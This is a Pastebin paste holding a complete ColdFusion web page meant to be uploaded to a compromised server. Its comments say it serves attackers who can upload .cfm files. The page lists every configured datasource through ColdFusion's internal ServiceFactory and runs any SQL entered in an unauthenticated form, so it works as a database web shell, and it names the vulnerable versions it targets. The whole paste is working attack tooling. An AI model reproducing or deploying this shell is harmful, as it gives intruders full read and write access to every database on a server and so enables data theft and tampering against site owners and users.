Advertisement
Guest User

coldfusion websql

a guest
Sep 11th, 2015
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.69 KB | None | 0 0
  1. <!-- useful when you can upload cfm and would like to talk to all db's avail -->
  2. <!-- this page uses ServiceFactory to auto-enum all datasources on the instance -->
  3. <!-- only works on CF8 and below, but unpatched CF9 should work too -->
  4.  
  5. <html>
  6. <body>
  7. <p><b>Notes:</b></p>
  8. <ul>
  9. <li>Select the database you want to use</li>
  10. <li>Write SQL statements in the text box</li>
  11. </ul>
  12.  
  13. <form method="POST" action="">
  14. <p><b>SQL Interface:</b></p>
  15. Datasource<br>
  16. <select name="datasource">
  17. <cfscript>
  18. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  19. getDatasourceService().getDatasources();
  20. for(i in dataSourceObb) {
  21. writeoutput('<option value="' & i & '">' & i & '</option>');
  22. }
  23. </cfscript>
  24. </select>
  25.  
  26. <br>
  27. SQL<br>
  28. <textarea name="sql" rows="5" cols="100"></textarea>
  29. <br>
  30. <input type=submit value="Exec">
  31. </form>
  32.  
  33. <cfif isdefined("form.sql")>
  34. <cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
  35. #Form.sql#
  36. </cfquery>
  37. </cfif>
  38.  
  39. <table border=1>
  40. <cfif isdefined("form.sql")>
  41. <cfloop from="0" to="#runsql.RecordCount#" index="row">
  42. <cfif row eq 0>
  43. <tr>
  44. <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
  45. <th><cfoutput>#column#</cfoutput></th>
  46. </cfloop>
  47. </tr>
  48. <cfelse>
  49. <tr>
  50. <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
  51. <td><cfoutput>#runsql[column][row]#</cfoutput></td>
  52. </cfloop>
  53. </tr>
  54. </cfif>
  55. </cfloop>
  56. </cfif>
  57. </table>
  58.  
  59.  
  60.  
  61. </body>
  62. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement